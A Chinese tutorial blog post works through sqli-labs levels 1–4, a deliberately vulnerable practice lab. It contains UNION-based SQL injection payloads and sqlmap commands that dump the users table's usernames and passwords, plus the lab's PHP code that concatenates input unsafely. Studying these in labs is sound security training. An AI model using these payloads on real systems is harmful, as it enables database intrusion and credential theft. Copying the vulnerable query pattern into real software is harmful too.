sqli-labs关卡(持续更新)

前言

在Web程序开发的过程中,为了使内容的快速更新,很多的开发者使用数据库去进行数据的存储。由于开发者在编写程序的过程中,对传入用户数据的过滤不严格,将可能存在攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库中执行,从而引起实际执行的语句与预测的功能不一致的情况。这种攻击被称为SQL注入攻击。
SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预测查询功能的一种技术,通常会导致数据库原有的信息泄露、篡改,甚至被删除。本次主要是讲sqli-labs中列子,来总结常见的SQL注入的手法。

Less-1

方法一、手工注入

在这里插入图片描述
后端代码的使用的查询语句是:SELECT * FROM users WHERE id=‘1’ LIMIT 0,1
接下来,进行注入测试,猜列数,主要用的是二分法来进行实验
在这里插入图片描述
这里输入的是order by 5发生了报错的现象
在这里插入图片描述
order by 3成功,要把id=不是一个正常的数来进行回显可以利用的字段
在这里插入图片描述
发现2,3是可以利用的
在这里插入图片描述
通过查询的利用知道了版本号以及数据库的名称’security’
报表
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
或者
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
在这里插入图片描述
出现了emails,referers,uagents和users,显而易见应该是users是用户数据表
报列名(字段)
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
发现user和password
爆值
?id=-1’ union select 1,2,group_concat(username,0x3a,password) from users --+
在这里插入图片描述
0x3a:0x是十六进制的标志,3a是十进制的58,是ascii中的’:‘,用来分割password和username

方法二、sqlmap工具自动注入

清除sqlmap缓存:python sqlmap.py --purge
1)进行暴库,找到数据库类型以及确定有注入点可以利用
python sqlmap.py -u “http://localhost/sqli/Less-1/?id=1” --answers=“extending=N” --batch --threads=20 --technique=E --dbs
在这里插入图片描述
发现数据库版本是MySQL
2)查看当前使用的数据库
python sqlmap.py -u “http://localhost/sqli/Less-1/?id=1” --answers=“extending=N” --batch --threads=20 --technique=E --dbms=mysql --current-db
在这里插入图片描述
3)查看数据库中的表
python sqlmap.py -u “http://localhost/sqli/Less-1/?id=1” --answers=“extending=N” --batch --threads=20 --technique=E --dbms=mysql -D security --tables
在这里插入图片描述
4)爆取users表中的来获取字段
python sqlmap.py -u “http://localhost/sqli/Less-1/?id=1” --answers=“extending=N” --batch --threads=20 --technique=E --dbms=mysql -D security -T users -columns
在这里插入图片描述
5)获取字段
python sqlmap.py -u “http://localhost/sqli/Less-1/?id=1” --answers=“extending=N” --batch --threads=20 --technique=E --dbms=mysql -D security -T users -C password,username -dump在这里插入图片描述

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))                                                 #这里的GET方法用于传输id值
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";                     #用来拼接id值
echo $sql;
echo "<br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

本题是基于字符型的错误。
当然,除了注释,也可以利用单引号来闭合后面的单引号
现在将?id=1’ and '1,这个时候的查询也可以出现正常的回显
在这里插入图片描述
关键字WHERE是SELECT操作的一个判断的条件,之前的id=1即查询条件。这里,AND代表需要同时满足两个条件,一个是id=1,另一个是’1‘。由于字符串’1‘被强制转换成True,代表这个条件成立,因此数据库查询出id=1的记录

less-2

先看有多少列
?id=1 order by 3#
在这里插入图片描述
查看数据库以及版本
/?id=-1 union select 1,version(),database()#
在这里插入图片描述
/?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=‘security’#
在这里插入图片描述
同时也可以将security换成database()
/?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
爆列
/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’#
在这里插入图片描述
爆字段
/?id=-1 union select 1,2,group_concat(username,0x7e,password) from security.users#
在这里插入图片描述

Less-3

找到注入点
/?id=1’) and 1=1 --+
在这里插入图片描述
查看几列
/?id=1’) order by 3 --+
在这里插入图片描述
看看数据库版本以及名称
/?id=-1’) union select 1,version(),database() --+
在这里插入图片描述
查看数据库
/?id=-1’) union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
在这里插入图片描述
爆列
/?id=-1’) union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
爆字段
/?id=-1’) union select 1,version(),group_concat(username,0x7e,password) from security.users --+
在这里插入图片描述

Less-4

找注入点
/?id=1") and 1=1 --+
在这里插入图片描述
找列
/?id=1") order by 3 --+
在这里插入图片描述
数据库的版本以及数据库
/?id=-1") union select 1,version(),database() --+
在这里插入图片描述
爆列
/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
爆字段
/?id=-1") union select 1,2,group_concat(username,0x7e,password) from security.users–
在这里插入图片描述

Less-5

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值